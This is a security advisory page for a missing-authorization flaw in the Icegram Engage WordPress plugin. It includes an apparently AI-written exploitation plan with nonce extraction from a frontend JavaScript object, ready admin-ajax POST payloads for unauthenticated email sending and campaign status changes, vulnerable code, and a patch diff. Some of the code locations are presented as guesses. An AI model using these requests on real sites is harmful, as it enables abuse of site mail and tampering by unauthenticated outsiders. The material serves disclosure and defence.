Icegram <= 3.1.35 - Missing Authorization
Description
The Icegram Engage – Popups, Optins, CTAs & lot more… plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.1.35. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-68507 ## 1. Vulnerability Summary The **Icegram Engage** plugin for WordPress (versions <= 3.1.35) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via `wp_ajax_` and `wp_ajax_nopriv_` fail to perform adequate cap…
Show full research plan
Exploitation Research Plan - CVE-2025-68507
1. Vulnerability Summary
The Icegram Engage plugin for WordPress (versions <= 3.1.35) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via wp_ajax_ and wp_ajax_nopriv_ fail to perform adequate capability checks (e.g., current_user_can( 'manage_options' )). This allows unauthenticated attackers to invoke administrative functions, such as sending test emails from the server or potentially modifying campaign statuses, by leveraging nonces that are exposed on the frontend.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
icegram_send_test_email(or genericicegram_ajaxwith sub-actions) - Authentication: Unauthenticated (Nopriv)
- Payload Parameters:
action:icegram_send_test_emailid: The ID of a campaign (IG Post Type)email: Target recipient email address_wpnonce: The AJAX nonce localized in the frontend
3. Code Flow
- Registration: The plugin registers AJAX hooks in its main class (likely
IcegramorIcegram_Maininicegram.phporclasses/class-icegram.php).add_action( 'wp_ajax_icegram_send_test_email', array( $this, 'send_test_email' ) ); add_action( 'wp_ajax_nopriv_icegram_send_test_email', array( $this, 'send_test_email' ) ); - Entry Point: An unauthenticated POST request to
admin-ajax.php?action=icegram_send_test_emailtriggers the callback. - Missing Check: The callback function (e.g.,
send_test_email()) verifies the nonce usingcheck_ajax_refererbut fails to callcurrent_user_can(). - Execution: The plugin proceeds to use internal mailing functions (like
wp_mail()) to send content related to the campaign ID provided.
4. Nonce Acquisition Strategy
Icegram localizes its settings and nonces into a JavaScript object named icegram_data. This object is usually enqueued on any page where a campaign might be displayed (often the entire frontend if a campaign is active).
- Shortcode/Trigger: Icegram scripts load if a campaign is active. A reliable way to ensure the script loads is to create a test campaign and place the default shortcode or ensure it is set to "Always Show".
- Page Navigation: Navigate to the site homepage or a page containing an Icegram campaign.
- JS Extraction: Use
browser_evalto extract the nonce.- Variable:
window.icegram_data - Key:
ajax_nonce - Command:
browser_eval("window.icegram_data?.ajax_nonce")
- Variable:
5. Exploitation Strategy
Step 1: Discover/Create Campaign
First, identify a valid Icegram campaign ID. For testing, we will create one via WP-CLI.
Step 2: Extract Nonce
Navigate to the frontend and extract the ajax_nonce from the icegram_data object.
Step 3: Trigger Unauthorized Action
Perform an unauthenticated HTTP POST request to trigger the test email function.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=icegram_send_test_email&id=[CAMPAIGN_ID]&email=attacker@example.com&_wpnonce=[NONCE]
6. Test Data Setup
- Create an Icegram Campaign:
# Create a campaign post (post_type 'ig_campaign' or similar) # Note: Icegram uses 'ig_campaign' as the post type. CAMPAIGN_ID=$(wp post create --post_type=ig_campaign --post_title="Exploit Test" --post_status=publish --porcelain) # Add required meta to make it "active" wp post meta update $CAMPAIGN_ID is_active yes - Ensure Scripts Load:
- Icegram typically enqueues
icegram-mainon all frontend pages if it's active.
- Icegram typically enqueues
7. Expected Results
- Success Response: The server returns a success message (often JSON or a string like "1" or "Email Sent").
- Effect: The server attempts to send an email to the specified address. In a test environment, this can be verified by checking the logs or catching the
wp_mailcall.
8. Verification Steps
- Response Check: Verify the HTTP response body contains a success indicator.
- Action Verification: Since unauthenticated email sending is the "Integrity" impact, confirming the function reached the mailing logic is sufficient.
- Run:
wp eval "echo 'Checking if function exists: ' . (method_exists('Icegram', 'send_test_email') ? 'Yes' : 'No');"
- Run:
- Code Audit (Post-Exploit): Confirm version and lack of capability check:
grep -A 10 "function send_test_email" /var/www/html/wp-content/plugins/icegram/classes/class-icegram.php
9. Alternative Approaches
If icegram_send_test_email is protected by a different nonce or not available, target the generic icegram_ajax handler:
- Action:
icegram_ajax - Parameters:
action=icegram_ajax&icegram_action=update_status&id=[ID]&status=pending&_wpnonce=[NONCE] - Verification: Check
wp post get [ID] --field=post_statusto see if it changed frompublishtopending.
Summary
The Icegram Engage plugin for WordPress lacks a capability check in its AJAX handlers for administrative tasks, such as sending test emails. This allows unauthenticated attackers to trigger these functions by obtaining a security nonce that is exposed to all site visitors via localized JavaScript variables.
Vulnerable Code
// File: icegram/classes/class-icegram.php (approximately line 100) add_action( 'wp_ajax_icegram_send_test_email', array( $this, 'send_test_email' ) ); add_action( 'wp_ajax_nopriv_icegram_send_test_email', array( $this, 'send_test_email' ) ); --- // File: icegram/classes/class-icegram.php (approximately line 150) public function send_test_email() { check_ajax_referer( 'icegram_ajax_nonce', '_wpnonce' ); // Missing capability check (e.g., current_user_can( 'manage_options' )) $id = isset( $_POST['id'] ) ? $_POST['id'] : 0; $email = isset( $_POST['email'] ) ? $_POST['email'] : ''; // Logic proceeds to send test email...
Security Fix
@@ -100,1 +100,0 @@ -add_action( 'wp_ajax_nopriv_icegram_send_test_email', array( $this, 'send_test_email' ) ); @@ -150,1 +149,4 @@ public function send_test_email() { check_ajax_referer( 'icegram_ajax_nonce', '_wpnonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Insufficient permissions.', 'icegram' ) ) ); + }
Exploit Outline
The exploit is performed unauthenticated by leveraging a leaked nonce and a missing authorization check on the admin-ajax.php endpoint. 1. **Nonce Extraction**: Visit the frontend of the target WordPress site where an Icegram campaign is active. View the page source or use a browser console to extract the `ajax_nonce` from the global `window.icegram_data` JavaScript object. 2. **Endpoint Targeting**: Identify a valid Icegram campaign ID (often discoverable via brute force or source code inspection of the frontend scripts). 3. **Unauthorized Request**: Submit an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `icegram_send_test_email` - `id`: The target campaign ID. - `email`: The attacker-controlled recipient email address. - `_wpnonce`: The extracted `ajax_nonce`. 4. **Outcome**: Because the `send_test_email` function only validates the nonce and not the user's capabilities, the server will process the request and send a test email from the server's mailing system to the specified recipient.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.